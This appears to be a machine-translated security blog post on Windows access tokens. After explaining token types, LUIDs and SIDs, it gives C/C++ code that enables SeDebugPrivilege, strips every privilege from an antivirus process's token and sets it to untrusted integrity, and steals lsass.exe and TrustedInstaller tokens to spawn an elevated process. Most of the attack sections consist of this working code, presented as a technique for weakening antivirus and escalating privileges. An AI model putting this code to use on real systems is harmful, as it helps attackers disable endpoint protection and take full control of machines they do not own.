A brief analysis of Windows Access Token and its exploitation methods

0 18
1 Preliminary ConceptsAbout Windows Access TokenWindows Access Token (Access Tok...

1 Preliminary Concepts

About Windows Access Token

Windows Access Token (Access Token), it is an object that describes the security context of a process or thread. Each time a user logs into the computer, an Access Token is generated to create processes and threads. After the user logs out, the primary token is switched to a simulated token, that is, an authorization token and a simulated token, without clearing the token, only a restart will clear it.

两种类型的Token

  • Two types of Tokens

  • A brief analysis of Windows Access Token and its exploitation methods

    Delegation token (authorization token): used for interactive session login (such as local direct login, rdp login, psexec, etc.)

Impersonation token (simulated token): used for non-interactive login (such as accessing shared folders using net use, or wmi, winrm, etc.)
Note:

They are all generated and created at login time

Both tokens are cleared only after the system restarts

The Delegation token user becomes an Impersonation token after logout, which is still valid

Production of TOKEN

Each process creates a Token (if CreaetProcess specifies the Token itself, LSA will use that Token, otherwise it will inherit the Token of the parent process to run) according to the login session permissions assigned by LSA (Local Security Authority) when it is created

Composition of TOKEN
Security ID (SID) of the current user
Security ID (SID) of the group to which the current user belongs
Current session security ID
List of all privileges owned by the user (including the user itself and its group)
Security ID of the token owner
Security ID of the primary group to which the user belongs
Default free access control list
Source access token
Indicates whether this token is a source token or a simulated token
Optional list, indicating which SIDs this token restricts
The level of the current simulated token

Other data materials

2 Process identity identifier: Luid and SID

Luid

1661319688_6305ba0856e75ccad2e8c.png!small

  • Each privilege constant string (Privileges) corresponds to a LUID (Local Identifier), use the LookupPrivilegeName function to convert LUID to its corresponding string constant, there are a total of 36 privileges, so LUID has 36 (0x24), all privileges are as follows:

Description of privileged constants on MSDN: https://docs.microsoft.com/en-us/windows/win32/secauthz/privilege-constants

SID

Security identifier (SID) is a unique identifier for users and groups, the composition of SID is as follows:

An example on MSDN

1661319715_6305ba230fa64978f17f1.png!small

It consists of 4 parts, and the sub-organization value can be composed of multiple characters, 'whoami /all' can be used to view the sid of users and user groups on this machine

1661319745_6305ba41b1b14ed125bbc.png!small

This section discusses a sid that will be used later: S-1-16-0, Microsoft's explanation is that it is a SID with the lowest integrity level of permissions.

1661319759_6305ba4f03abae9015769.png!small

The identifier institution value of 16 (0x10) represents the SID of the mandatory integrity level.

1661319773_6305ba5d6f49db5d12432.png!small

Microsoft's explanation of mandatory integrity control.

1661319782_6305ba6641ae6fee5828f.png!small

3. Example

Below is an example of granting the current process operation token DEBUG permissions.
Many operations generally require the current process to have operation token permissions: SE_DEBUG_NAME, and then perform token operations, such as clearing the token, forging the token. When loading a driver, if you need to connect to the driver, you need Debug permissions; otherwise, you cannot create a driver handle with createFile.

OpenProcessToken gets the process token, GetCurrentProcess gets the pseudo handle of the current process (pseudo handles between processes need to be converted to real handles (DuplicateHandle)).

if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken))
    {
        printf("[-]get token failed!\n");
    }
    else {
        printf("[*]get token success\n");
    }

LookupPrivilegeValue gets the LUID value of the SE_DEBUG_NAME privilege of the local system and returns it to sedebugnameValue.

if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue))
    {
        CloseHandle(hToken);
        return false;
    }

AdjustTokenPrivileges modifies the process privileges to SE_DEBUG_NAME privileges, tkp.PrivilegeCount indicates the number of privileges set, tkp.Privileges[0].Attributes indicates the attributes of the privilege; SE_PRIVILEGE_ENABLED means enabling this privilege. Remember to call GetLastError after setting to check if it was successful.

tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Luid = sedebugnameValue;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL))
    {
        CloseHandle(hToken);
        return false;
    }

Reduce the privileges of the antivirus process

1. Thinking

  • The purpose of reducing the privilege of the process is achieved by clearing the TOKEN and reducing the SID of 36 Luids through iteration

2. Code Implementation

  • First, grant the current process the SE_DEBUG_NAME privilege to enable token operations
bool EnableDebugPrivilege()
{
    HANDLE hToken;
    LUID sedebugnameValue;
    TOKEN_PRIVILEGES tkp;
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
    {
        return FALSE;
    }
    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue))
    {
        CloseHandle(hToken);
        return false;
    }
    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Luid = sedebugnameValue;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL))
    {
        CloseHandle(hToken);
        return false;
    }
    return true;
}
  • Obtain the token of lsass.exe to elevate privileges to system

int pid = processID("lsass.exe");

HANDLE ptoken;
HANDLE phandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
BOOL token = OpenProcessToken(phandle, TOKEN_DUPLICATE | TOKEN_QUERY, &ptoken);

BOOL bRet = ImpersonateLoggedOnUser(ptoken);
if (bRet == FALSE)
    return 1;
  • Open the target process and obtain the handle

HANDLE process = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, processID(procname));
erroint = GetLastError();
if (erroint == NULL)
    printf("[+]Get ProcHandle success Pid:%d\n", processID(procname));
else
    printf("Get ProcHandle fail:%d\n", erroint);
  • Obtain the token of the target process

int ret = OpenProcessToken(process, TOKEN_ALL_ACCESS, &Ltoken);
erroint = GetLastError();
if (erroint == NULL)
    cout << "[+]Get ProcToken success" << endl;
else
    printf("Get ProcToken fail:%d\n", erroint);
  • The core code: As mentioned above, there are a total of 36 LUIDs (privilege constants), and we directly iterate through all 36 and remove them all.

BOOL DisablePrivilege(HANDLE token) {
    typedef_ZwAdjustPrivilegesToken ZwAdjustPrivilegesToken = (typedef_ZwAdjustPrivilegesToken)GetProcAddress(LoadLibraryA("ntdll.dll"), "ZwAdjustPrivilegesToken");
    if (ZwAdjustPrivilegesToken == NULL) {
        printf("Can not found ZwAdjustPrivilegesToken");
        return -1;
    }

    for (int i = 0; i <= 0x24; i++) {
        TOKEN_PRIVILEGES tp = {};
        LUID luid = {};
        luid.HighPart = 0;
        luid.LowPart = i;
        tp.PrivilegeCount = 1;
        tp.Privileges[0].Luid = luid;
        tp.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED;
        ZwAdjustPrivilegesToken(token, 0, &tp, sizeof(tp), NULL, NULL);
        erroint = GetLastError();
        if (erroint == NULL)
            cout << "[+]Remove ProcToken success" << endl;
        else
            printf("Remove ProcToken fail:%d\n", erroint);
    }

    return TRUE;

}
  • Set sid to the untrusted mandatory integrity permission: s-1-16-0 (this can be understood as a kind of the lowest of the lowest sid),

DWORD integrityLevel = SECURITY_MANDATORY_UNTRUSTED_RID;
SID sid = {};
sid.Revision = SID_REVISION;
sid.SubAuthorityCount = 1;
sid.IdentifierAuthority.Value[5] = 16;
sid.SubAuthority[0] = integrityLevel;

TOKEN_MANDATORY_LABEL tml = {};
tml.Label.Attributes = SE_GROUP_INTEGRITY;
tml.Label.Sid = &sid;
  • Finally, reset the token and sid of the target process.

BOOL Rret = SetTokenInformation(Ltoken, TokenIntegrityLevel, &tml, sizeof(TOKEN_MANDATORY_LABEL));
  • Note: It is no longer possible to obtain the defender's token at the current time, GetLastError: 5 indicates insufficient privileges, and switching to TrustedInstaller does not work either, perhaps hooking OpenProcessToken, you can try syscall.

Obtain TrustedInstaller privileges through token theft

1. What is TrustedInstaller

In Windows systems, even with administrative privileges and system privileges, you cannot modify system files because the highest privileges of Windows systems are TrustedInstaller

2. How to obtain its token

Directly steal the token of TrustedInstaller.exe, start a process to obtain a process with trustedInstaller privileges. The prerequisite is to have system privileges

3. Code Implementation

The general operation is as follows: first steal the token of lsass.exe to elevate the privileges of the current process to system, then steal the token of TrustedInstaller.exe to obtain a CMD with TrustedInstaller privileges.

  • Obtain a process handle with system privileges, obtain the token through the process handle, and assign it to the current process to elevate privileges to system.

HANDLE ptoken1;
    HANDLE phandle1 = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid1);
    BOOL token1 = OpenProcessToken(phandle1, TOKEN_DUPLICATE | TOKEN_QUERY, &ptoken1);

    BOOL bRet1 = ImpersonateLoggedOnUser(ptoken1);
    if (bRet1 == FALSE)
        return 1;
  • Through process snapshots, the pid of TrustedInstaller.exe is found.

wchar_t procname[80] = L"TrustedInstaller.exe";
    int pid = FindProcessId(procname);
  • Obtain the token of the current process and assign it to hToken.

if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken))
    {
        printf("[-]get token failed!\n");
    }
    else {
        printf("[*]get token success\n");
    }
  • Open TrustedInstaller.exe and obtain its process handle phandle.

HANDLE phandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);

    if (phandle != INVALID_HANDLE_VALUE) {

        printf("[*]Opened Target Handle\n");
    }
    else {
        printf("[-]Failed to open Process Handle\n");
    }
  • Obtain the token for TrustedInstaller.exe, here we only need to copy and query permissions, as using TOKEN_ALL_ACCESS will prompt for lack of permissions.

1661319806_6305ba7e5290703191202.png!small

BOOL token = OpenProcessToken(phandle, TOKEN_DUPLICATE | TOKEN_QUERY, &ptoken);
    if (token) {
        printf("[+]Opened Target Token Handle\n");
    }
    else {
        printf("[-]Failed to open Token Handle:%d\n", GetLastError());
    }
  • Further, using the token we obtained, we start a process we want to launch,

BOOL ret = CreateProcessWithTokenW(hToken, LOGON_NETCREDENTIALS_ONLY, wstrExecutablePath.c_str(), NULL, 0, NULL, NULL, &si, &pi);
    if (!ret)
        printf("[-]Create Failed:%d\n", GetLastError());
    else
        printf("[+] Create success!!");
  • Finally, it can be seen that the permission from administrator to TrustedInstaller has been mentioned.

1661319824_6305ba900d1e26b458442.png!small

4 Finally

This token replacement privilege escalation operation cannot be performed by a normal user, the minimum requirement is administrator, and it can also be used for service account privilege escalation to systen, or a local domain administrator's token can be used to replace the domain administrator's token.

  • The token operation requires the account to have one of the following permissions (whoami /priv):

SeImpersonatePrivilege
SeAssignPrimaryPrivilege
SeTcbPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeCreateTokenPrivilege
SeLoadDriverPrivilege
SeTakeOwnershipPrivilege
SeDebugPrivilege

If there are any problems with the above, please feel free to discuss and point them out.

Reference

https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Token%E7%AA%83%E5%8F%96%E4%B8%8E%E5%88%A9%E7%94%A8
https://macchiato.ink/hst/bypassav/Token_Weakening/

你可能想看:
最后修改时间:
admin
上一篇 2025年03月26日 10:54
下一篇 2025年03月26日 11:17

评论已关闭